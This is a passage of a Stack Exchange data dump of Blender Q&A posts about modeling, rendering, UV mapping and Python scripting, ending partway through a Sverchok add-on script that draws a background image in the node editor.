  <row Id="30721" PostTypeId="2" ParentId="30720" CreationDate="2015-05-11T07:48:04.930" Score="4" Body="&lt;p&gt;Well it doesn't exactly exist as a tool but you can achieve this with a vertex group and the shrinkwrap modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you first take your selection and assign it to a vertex group, then apply a shrinkwrap modifier with the target being the plane below and the shrinkwrap mode being &quot;Project&quot;. Then you just need to select the axis you want to project along and the direction on that axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you've done all that you should have your result. You can now apply the modifier and delete the vertex group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LVslT.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mdZl5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1240" LastEditorUserId="1240" LastEditDate="2015-05-11T08:13:55.060" LastActivityDate="2015-05-11T08:13:55.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30723" PostTypeId="1" CreationDate="2015-05-11T10:22:24.323" Score="3" ViewCount="903" Body="&lt;p&gt;I render a scene in Multilayer EXR sequence (Cycles). After I've combined the passes together everything is OK, but there the foam is missing. I've checked all the passes, and I don't see pass with foam.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Combined pass:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kNRvk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Composite:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IbSow.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Math:&lt;/strong&gt; &lt;code&gt;((DiffuseDir + DiffuseInd) * DiffuseCol) + ((GlossDir + GlossInd) * GlossCol) + ((TransDir + TransInd) * TransCol)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Ocean shader:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4BKKZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the foam for final composite?&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="3710" LastEditDate="2015-05-12T07:05:11.380" LastActivityDate="2015-05-12T07:05:11.380" Title="I can't find the pass with foam" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;render-passes&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30724" PostTypeId="1" AcceptedAnswerId="30725" CreationDate="2015-05-11T10:35:17.447" Score="11" ViewCount="2518" Body="&lt;p&gt;I would like to render this kind of effect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LMsER.png&quot; alt=&quot;sample of desired effect&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to render it on a house. The view should be at the top, and the edges of each wall should be a glowing line. I tried the technique from this &lt;a href=&quot;https://blender.stackexchange.com/questions/28422/how-to-render-a-mesh-transparent-with-a-color-on-its-edges-only-with-nodes&quot;&gt;question&lt;/a&gt; but the result is not good with my house. Is a way to create this effect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a low layer weight, we barely see the house (only the walls inside):&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2Omip.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Omip.png&quot; alt=&quot;layer weight at .005, house is not visible&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a higher layer weight:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/En2QG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/En2QG.png&quot; alt=&quot;layer weight at .15, house is not a wireframe&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for the wireframe effect as on the right, in Edit mode:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YqrEk.png&quot; alt=&quot;desired wireframe effect&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blend is here : &lt;a href=&quot;http://www.pasteall.org/blend/36004&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/36004&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13249" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-05-13T16:11:50.297" Title="How to render a wireframe &amp; glow lines effect on a house?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;nodes&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30725" PostTypeId="2" ParentId="30724" CreationDate="2015-05-11T10:40:32.050" Score="10" Body="&lt;p&gt;One way to do it is by adding a wireframe modifier to your building, for those shots where you want the wireframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QoZZH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instant success:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WulC1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But don't apply it, else it will modify and change all the geometry of the object. You can disable it from modifying the object by pressing the little eye symbol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The glow effect could be achieved using composition and a slight influence of the blur node. Or read similar QA threads on this site for suggestions: &lt;a href=&quot;https://blender.stackexchange.com/questions/15669/glow-with-depth-in-blender&quot;&gt;Glow with depth in Blender?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-05-11T13:20:23.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30726" PostTypeId="2" ParentId="30586" CreationDate="2015-05-11T13:28:51.330" Score="1" Body="&lt;p&gt;The mesh is smooth, but very low poly with &lt;strong&gt;long thin quads&lt;/strong&gt;. Such geometry can produce texturing artifacts - that's what you see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to keep the topology in square quads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do so make just tileable chunk of the road (rectangle with nice topology), UV unwrap it and repeat it along a curve with Array and Curve modifiers, like so: &lt;a href=&quot;https://blender.stackexchange.com/questions/7553/create-a-road-along-large-terrain&quot;&gt;Create a road along large terrain&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-05-11T13:28:51.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30728" PostTypeId="1" CreationDate="2015-05-11T14:02:56.233" Score="1" ViewCount="662" Body="&lt;p&gt;I'm trying to unwrap some new faces after fixing some topology on a model that is already textured (in particular at the edge of the mouth).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason a number of faces just won't seem to unwrap or show up in the UV editor after I select and unwrap them. I've tried pinning vertices around them, messing with seams, and checked the normals, but no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the viewport, they seem to take the texture. But the faces/verts just aren't showing in the UV editor, so I can't get them in the right place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The picture shows the gap in the UV where the new faces need to be and on the right are the faces I'm trying to unwrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kkxWO.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/36005&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6207" LastActivityDate="2015-05-11T14:08:44.040" Title="Why won't these faces UV unwrap?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-05-27T09:51:41.203" ContentLicense="CC BY-SA 3.0" />
  <row Id="30729" PostTypeId="2" ParentId="30728" CreationDate="2015-05-11T14:08:44.040" Score="1" Body="&lt;p&gt;Looks like the problem was that I had 'UV local' view selected, in the UV view options. Not sure what that means yet, but fixed the issue for me.&lt;/p&gt;&#xA;" OwnerUserId="6207" LastActivityDate="2015-05-11T14:08:44.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30730" PostTypeId="2" ParentId="27190" CreationDate="2015-05-11T14:42:37.300" Score="3" Body="&lt;p&gt;bpy.ops is full of cooties.  This seems a lot simpler and faster:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.active_object&#xA;mesh = obj.data&#xA;&#xA;while len(mesh.materials)&amp;gt;1:&#xA;    mesh.materials.pop()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-05-11T14:42:37.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30731" PostTypeId="2" ParentId="30648" CreationDate="2015-05-11T14:55:22.507" Score="1" Body="&lt;p&gt;Zeffi mentioned surface normals and shading.  Perhaps you want sharp edges where the hull meets the torpedo launcher.  This effect is often achieved using an Edge Split modifier for Sharp edges.  You have to leave the Sharp Edges checkbox checked, and then mark those edges in the mesh editor (Ctrl-E &gt; Mark Sharp).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing that sometimes causes strange shading is if the surface normals are flipped.  You can check that using the 3d View's N-panel Mesh Display &gt; Normals (pick the Face icon).&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-05-11T14:55:22.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30732" PostTypeId="1" CreationDate="2015-05-11T14:55:57.513" Score="2" ViewCount="420" Body="&lt;p&gt;I've created a plane with cloth physics to simulate a sheet of paper falling.&#xA;I wanna do a rain of pappers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in another plane I put a particle system. In that system, section Render, I selected as Object the sheet of paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thousands papers created by the particle system don't behave as the cloth.&#xA;The system only render the object, without the physics!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to create thousands of objects (with any kind of physics) dynamically during the animation and without programming?&lt;/p&gt;&#xA;" OwnerUserId="14284" LastActivityDate="2015-05-11T14:55:57.513" Title="Particle system renders particles without object physics" Tags="&lt;particles&gt;&lt;physics&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30733" PostTypeId="2" ParentId="30381" CreationDate="2015-05-11T15:07:56.207" Score="0" Body="&lt;p&gt;Chebhou's response was correct. Make sure &quot;Show Errors Only&quot; was accidentally clicked.&lt;/p&gt;&#xA;" OwnerUserId="14163" LastActivityDate="2015-05-11T15:07:56.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30734" PostTypeId="1" CreationDate="2015-05-11T16:19:12.213" Score="3" ViewCount="949" Body="&lt;p&gt;I would like to model a cell and I was really impressed by this video:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=TSSCj2yD70M&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=TSSCj2yD70M&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Needless to say that it is way to fast to follow it through, but does anybody know how to achieve the surface on the red blood cells seen in the first 30 seconds? I already experimented with noise and the displacement modifier, but it doesn't come close to the surface shown in the video. I looks like I am either creating a rocky planet, or a ball full of spikes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did so far was modifying a UV Sphere with subdivision modifier set to view = 4 and render =3. I created a cloud texture with a size of 0.25 and used tohgether with the displacement modifier with strength =  0.2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RgnY3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can add more detail with the subdivision modifier, but it gets impractical at values above 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any hints!&lt;/p&gt;&#xA;" OwnerUserId="14146" LastEditorUserId="14146" LastEditDate="2015-05-12T12:25:07.580" LastActivityDate="2015-05-12T12:25:07.580" Title="(Biological) Cell Surface" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30735" PostTypeId="1" CreationDate="2015-05-11T16:47:30.303" Score="0" ViewCount="3337" Body="&lt;p&gt;I am making a flower and when I unwrapped the petal the texture was on the wrong side. I tried rotating the mesh and flipping the normal's but nothing seems to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the link for the &lt;a href=&quot;https://www.dropbox.com/sh/7ouokucenu0xx7w/AACvNP9-7V85q2S8BkLFg0ANa?dl=0&quot; rel=&quot;nofollow&quot; title=&quot;Dropbox&quot;&gt;blend and the textures&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13565" LastEditorUserId="2217" LastEditDate="2015-05-13T16:01:11.187" LastActivityDate="2015-05-13T16:01:11.187" Title="texture is facing the wrong side of the mesh" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30737" PostTypeId="1" AcceptedAnswerId="30749" CreationDate="2015-05-11T17:17:19.410" Score="5" ViewCount="4141" Body="&lt;p&gt;I have a group of objects named &lt;code&gt;MyGroup&lt;/code&gt;. I can add a group instance with  &lt;code&gt;Shift+A -&amp;gt; Group Instance -&amp;gt; MyGroup&lt;/code&gt;, but I can't figure out how to do it from python scripting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to add an instance of MyGroup, calling it by it's name from a script on python. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like the &lt;code&gt;bpy.ops.mesh.primitive_plane_add()&lt;/code&gt; operation, but instead of adding a plane, i want to add a group instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can do this? all I could find about groups was this &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.ops.group.html&quot; rel=&quot;noreferrer&quot;&gt;http://www.blender.org/api/blender_python_api_2_74_release/bpy.ops.group.html&lt;/a&gt; but it does not speak about adding group instances.&lt;/p&gt;&#xA;" OwnerUserId="14288" LastActivityDate="2016-03-29T11:03:59.767" Title="Add a group instance with python" Tags="&lt;python&gt;&lt;groups&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30738" PostTypeId="1" AcceptedAnswerId="30742" CreationDate="2015-05-11T17:19:50.887" Score="20" ViewCount="8612" Body="&lt;p&gt;So I'm making a 2d animation in blender, using the z space as layers, and the camera is in orthographic view.&lt;br&gt;&#xA;I'm trying to morph a square plane to be a flat circle, but I have no idea how to even approach it.&lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="2217" LastEditDate="2015-05-11T21:04:36.343" LastActivityDate="2020-08-19T13:19:15.443" Title="How can I morph a flat plane to be a flat cirlce?" Tags="&lt;animation&gt;&lt;mesh&gt;" AnswerCount="6" CommentCount="2" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30739" PostTypeId="2" ParentId="3219" CreationDate="2015-05-11T17:30:11.153" Score="23" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Progress of script can also be printed and updated with sys module to the console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;from time import sleep&#xA;&#xA;sys.stdout.write(&quot;Some job description: &quot;)&#xA;sys.stdout.flush()&#xA;some_list = [0] * 100&#xA;for idx, item in enumerate(some_list):&#xA;    msg = &quot;item %i of %i&quot; % (idx, len(some_list)-1)&#xA;    sys.stdout.write(msg + chr(8) * len(msg))&#xA;    sys.stdout.flush()&#xA;    sleep(0.02)&#xA;&#xA;sys.stdout.write(&quot;DONE&quot; + &quot; &quot;*len(msg)+&quot;\n&quot;)&#xA;sys.stdout.flush()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This can look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e3axa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can also copy paste this next function to display a progress bar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import time, sys&#xA;&#xA;def update_progress(job_title, progress):&#xA;    length = 20 # modify this to change the length&#xA;    block = int(round(length*progress))&#xA;    msg = &quot;\r{0}: [{1}] {2}%&quot;.format(job_title, &quot;#&quot;*block + &quot;-&quot;*(length-block), round(progress*100, 2))&#xA;    if progress &amp;gt;= 1: msg += &quot; DONE\r\n&quot;&#xA;    sys.stdout.write(msg)&#xA;    sys.stdout.flush()&#xA;&#xA;# Test&#xA;for i in range(100):&#xA;    time.sleep(0.1)&#xA;    update_progress(&quot;Some job&quot;, i/100.0)&#xA;update_progress(&quot;Some job&quot;, 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZzrjO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-05-11T18:46:04.967" LastActivityDate="2015-05-11T18:46:04.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30740" PostTypeId="2" ParentId="30738" CreationDate="2015-05-11T17:34:09.423" Score="11" Body="&lt;p&gt;If all you need is a shape you can use the &lt;strong&gt;&lt;a href=&quot;http://www.blender.org/manual/modeling/meshes/editing/deforming/to_sphere.html?highlight=sphere&quot; rel=&quot;noreferrer&quot;&gt;To Sphere&lt;/a&gt;&lt;/strong&gt; tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a plane, subdivide it and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&#xA;&lt;kbd&gt;S&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bck5F.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To animate create a shape key for the square part and a second shape key for the circle and animate the value for the second shape key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shape keys are created in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mXxMi.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-05-11T17:43:24.303" LastActivityDate="2015-05-11T17:43:24.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30742" PostTypeId="2" ParentId="30738" CreationDate="2015-05-11T17:40:58.670" Score="16" Body="&lt;p&gt;Add a cube to your scene, enter edit mode, and delete the top and bottom faces. Select all and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; and check the &lt;em&gt;Inside&lt;/em&gt; checkbox in the &lt;em&gt;Tools&lt;/em&gt; menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4pbNs.gif&quot; alt=&quot;making Cube Target&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now add a circle and add a &lt;em&gt;Shrinkwrap&lt;/em&gt; modifier to it. Select the cube as the &lt;em&gt;Target&lt;/em&gt; and set the mode to &lt;em&gt;Project&lt;/em&gt;. Now press the &lt;em&gt;Apply as Shape Key&lt;/em&gt; option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W5qy3.gif&quot; alt=&quot;Shape Keys&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now go to the &lt;em&gt;Object Data&lt;/em&gt; panel and change the influence of your new shapekey. You can also animate it by hovering and pressing &lt;kbd&gt;I&lt;/kbd&gt;. To go from a square to a circle, sart with an influence of &lt;code&gt;1&lt;/code&gt; and then animate it going to &lt;code&gt;0&lt;/code&gt;. You can also delete the cube mesh now, it is not needed for the animation to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Final Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YvaII.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-05-11T17:58:16.770" LastActivityDate="2015-05-11T17:58:16.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30743" PostTypeId="2" ParentId="23465" CreationDate="2015-05-11T17:42:49.127" Score="3" Body="&lt;p&gt;well, either way I took this as a challenge. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/p8mHI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With any luck by including the code, it will anger someone into making a much more elegant solution. (if the &lt;code&gt;from bgl import *&lt;/code&gt; bothers you importing as you need is probably tidier. But adding &lt;code&gt;bgl.&lt;/code&gt; infront of everything gets on my nerves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll notice it looks for the Sverchok custom tree, changing it to your own should be zero work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ##### BEGIN GPL LICENSE BLOCK #####&#xA;#&#xA;#  This program is free software; you can redistribute it and/or&#xA;#  modify it under the terms of the GNU General Public License&#xA;#  as published by the Free Software Foundation; either version 2&#xA;#  of the License, or (at your option) any later version.&#xA;#&#xA;#  This program is distributed in the hope that it will be useful,&#xA;#  but WITHOUT ANY WARRANTY; without even the implied warranty of&#xA;#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&#xA;#  GNU General Public License for more details.&#xA;#&#xA;#  You should have received a copy of the GNU General Public License&#xA;#  along with this program; if not, write to the Free Software Foundation,&#xA;#  Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.&#xA;#&#xA;# ##### END GPL LICENSE BLOCK #####&#xA;&#xA;import time&#xA;import bpy&#xA;import bgl&#xA;from bgl import *&#xA;from bpy.types import SpaceNodeEditor&#xA;&#xA;from sverchok import node_tree&#xA;from sverchok.node_tree import SverchCustomTree&#xA;from sverchok.node_tree import SverchCustomTreeNode&#xA;&#xA;callback_dict = {}&#xA;point_dict = {}&#xA;&#xA;&#xA;def node_id(oper):&#xA;    return str(hash(oper) ^ hash(time.monotonic()))&#xA;&#xA;&#xA;def tag_redraw_all_nodeviews():&#xA;    for window in bpy.context.window_manager.windows:&#xA;        areas = window.screen.areas&#xA;        for area in (a for a in areas if a.type == 'NODE_EDITOR'):&#xA;            for region in (r for r in area.regions if r.type == 'WINDOW'):&#xA;                region.tag_redraw()&#xA;&#xA;&#xA;def callback_enable(n_id, nt):&#xA;    global callback_dict&#xA;    if n_id in callback_dict:&#xA;        return&#xA;&#xA;    data = {}&#xA;    data['tree_name'] = nt.name&#xA;    args = n_id, data&#xA;&#xA;    handle_pixel = SpaceNodeEditor.draw_handler_add(draw_callback_px, args, 'WINDOW', 'PRE_VIEW')&#xA;    callback_dict[n_id] = handle_pixel&#xA;    tag_redraw_all_nodeviews()&#xA;&#xA;&#xA;def callback_disable(n_id):&#xA;    global callback_dict&#xA;    handle_pixel = callback_dict.get(n_id, None)&#xA;    if not handle_pixel:&#xA;        return&#xA;    SpaceNodeEditor.draw_handler_remove(handle_pixel, 'WINDOW')&#xA;    del callback_dict[n_id]&#xA;    tag_redraw_all_nodeviews()&#xA;&#xA;&#xA;def callback_disable_all():&#xA;    global callback_dict&#xA;    temp_list = list(callback_dict.keys())&#xA;    for n_id in temp_list:&#xA;        if n_id:&#xA;            callback_disable(n_id)&#xA;&#xA;&#xA;def draw_callback_px(n_id, data):&#xA;    space = bpy.context.space_data&#xA;    ng_view = space.edit_tree&#xA;    if not ng_view:&#xA;        return&#xA;&#xA;    ng_name = space.edit_tree.name&#xA;    if not (data['tree_name'] == ng_name):&#xA;        return&#xA;    if not isinstance(ng_view, node_tree.SverchCustomTree):&#xA;        return&#xA;&#xA;    face_color = (0.2, 0.2, 0.2)&#xA;    scn = bpy.context.scene&#xA;    s = scn.sv_scale_unit&#xA;    image_name = scn.sv_available_image&#xA;&#xA;    img = bpy.data.images.get(image_name)&#xA;    if img:&#xA;        img.gl_load(0, bgl.GL_NEAREST, bgl.GL_NEAREST)&#xA;        texture = img.bindcode&#xA;        w, h = img.size&#xA;        w2 = w / 2&#xA;        h2 = h / 2&#xA;        _w2 = w2 * s&#xA;        _h2 = h2 * s&#xA;    else:&#xA;        return&#xA;&#xA;    glEnable(GL_BLEND)&#xA;    glBindTexture(GL_TEXTURE_2D, texture)&#xA;    glEnable(GL_TEXTURE_2D)&#xA;    glBegin(GL_QUADS)&#xA;    glTexCoord2f(0.0, 0.0); glVertex3f(-1.0 * _w2, -1.0 * _h2, 0.0)  # Bottom Left Of The Texture and Quad&#xA;    glTexCoord2f(1.0, 0.0); glVertex3f(+1.0 * _w2, -1.0 * _h2, 0.0)  # Bottom Right Of The Texture and Quad&#xA;    glTexCoord2f(1.0, 1.0); glVertex3f(+1.0 * _w2, +1.0 * _h2, 0.0)  # Top Right Of The Texture and Quad&#xA;    glTexCoord2f(0.0, 1.0); glVertex3f(-1.0 * _w2, +1.0 * _h2, 0.0)  # Top Left Of The Texture and&#xA;    glEnd()&#xA;    glDisable(GL_TEXTURE_2D)&#xA;&#xA;    # restore opengl defaults&#xA;    glLineWidth(1)&#xA;    glDisable(GL_BLEND)&#xA;    glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;&#xA;&#xA;def get_items(self, context):&#xA;    images = bpy.data.images&#xA;    inames = [i.name for i in images]&#xA;    return [(i, i, 'image %s' % i) for i in inames]&#xA;&#xA;&#xA;class svImageShowOperator(bpy.types.Operator):&#xA;    bl_idname = &quot;scene.operator_sv_show_image_bg&quot;&#xA;    bl_label = &quot;Image Show&quot;&#xA;    bl_description = &quot;Toggle the visibility of the background image&quot;&#xA;&#xA;    # _handle = None&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        scn = context.scene&#xA;        if scn.sv_show_image and scn.sv_available_image:&#xA;            return True&#xA;&#xA;    def modal(self, context, event):&#xA;        nt = context.space_data.node_tree&#xA;        if scn.sv_show_image and scn.sv_available_image:&#xA;            n_id = node_id(nt)&#xA;            callback_enable(n_id, nt)&#xA;        else:&#xA;            callback_disable_all()&#xA;            return {&quot;CANCELLED&quot;}&#xA;&#xA;        return {&quot;PASS_THROUGH&quot;}&#xA;&#xA;    def invoke(self, context, event):&#xA;        scn = context.scene&#xA;        nt = context.space_data.node_tree&#xA;&#xA;        if scn.sv_show_image and scn.sv_available_image:&#xA;            n_id = node_id(nt)&#xA;            callback_enable(n_id, nt)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({&quot;WARNING&quot;}, &quot;View3D not found, can't run operator&quot;)&#xA;            return {&quot;CANCELLED&quot;}&#xA;&#xA;&#xA;class SverchokImageBG(bpy.types.Panel):&#xA;    bl_idname = &quot;Sverchok_img_bf&quot;&#xA;    bl_label = &quot;SV BGIMAGE&quot;&#xA;    bl_space_type = 'NODE_EDITOR'&#xA;    bl_region_type = 'UI'&#xA;    bl_category = 'Sverchok'&#xA;    bl_options = {'DEFAULT_CLOSED'}&#xA;    use_pin = True&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        try:&#xA;            return context.space_data.node_tree.bl_idname == 'SverchCustomTreeType'&#xA;        except:&#xA;            return False&#xA;&#xA;    def draw(self, context):&#xA;        scn = context.scene&#xA;        layout = self.layout&#xA;        ntree = context.space_data.node_tree&#xA;        c = layout.column()&#xA;        c.operator(svImageShowOperator.bl_idname, text=&quot;Show Image&quot;)&#xA;        c.prop(scn, 'sv_show_image')&#xA;        c.prop(scn, 'sv_available_image', text='pick image')&#xA;        c.prop(scn, 'sv_scale_unit')&#xA;&#xA;&#xA;def register():&#xA;    bpy.types.Scene.sv_show_image = bpy.props.BoolProperty()&#xA;    bpy.types.Scene.sv_available_image = bpy.props.EnumProperty(&#xA;        name=&quot;Images&quot;, items=get_items,&#xA;        description=&quot;Image paths&quot;)&#xA;    bpy.types.Scene.sv_scale_unit = bpy.props.FloatProperty(default=1.2)&#xA;&#xA;    bpy.types.Scene.sv_custom_backdrop = bpy.props.StringProperty(default='')&#xA;    bpy.utils.register_class(svImageShowOperator)&#xA;    bpy.utils.register_class(SverchokImageBG)&#xA;&#xA;&#xA;def 